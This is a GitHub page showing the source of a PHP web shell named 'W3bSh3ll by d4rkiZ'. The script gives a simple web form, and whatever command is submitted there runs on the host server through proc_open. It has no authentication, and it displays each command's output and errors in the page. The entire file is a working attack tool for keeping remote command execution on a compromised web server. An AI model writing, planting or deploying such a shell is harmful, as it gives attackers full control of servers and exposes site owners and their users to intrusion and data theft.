-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathProc-PHP-Webshell.php
61 lines (52 loc) · 1.64 KB
/
Proc-PHP-Webshell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
// interactive and user-friendly
// Define a custom function to execute commands
function execute_command($cmd) {
// Use proc_open to execute the command
$descriptors = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
2 => ['pipe', 'w'] // stderr
];
$process = proc_open($cmd, $descriptors, $pipes);
if (is_resource($process)) {
// Read the output and errors
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
// Close the pipes
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
// Close the process
proc_close($process);
// Prepare the output for HTML display
$output = htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
$errors = htmlspecialchars($errors, ENT_QUOTES, 'UTF-8');
// Output the result in a user-friendly manner
echo '<pre>';
echo '<strong>Command:</strong> ' . $cmd . "\n\n";
echo '<strong>Output:</strong>' . "\n" . $output . "\n";
echo '<strong>Errors:</strong>' . "\n" . $errors . "\n";
echo '</pre>';
}
}
// Check if a command is submitted
if (isset($_POST['command'])) {
// Get the command from the form submission and execute it
$command = $_POST['command'];
execute_command($command);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>W3bSh3ll by d4rkiZ</title>
</head>
<body>
<h1>W3bSh3ll by d4rkiZ</h1>
<form method="POST" action="">
<input type="text" name="command" placeholder="Enter your command">
<button type="submit">Send</button>
</form>
</body>
</html>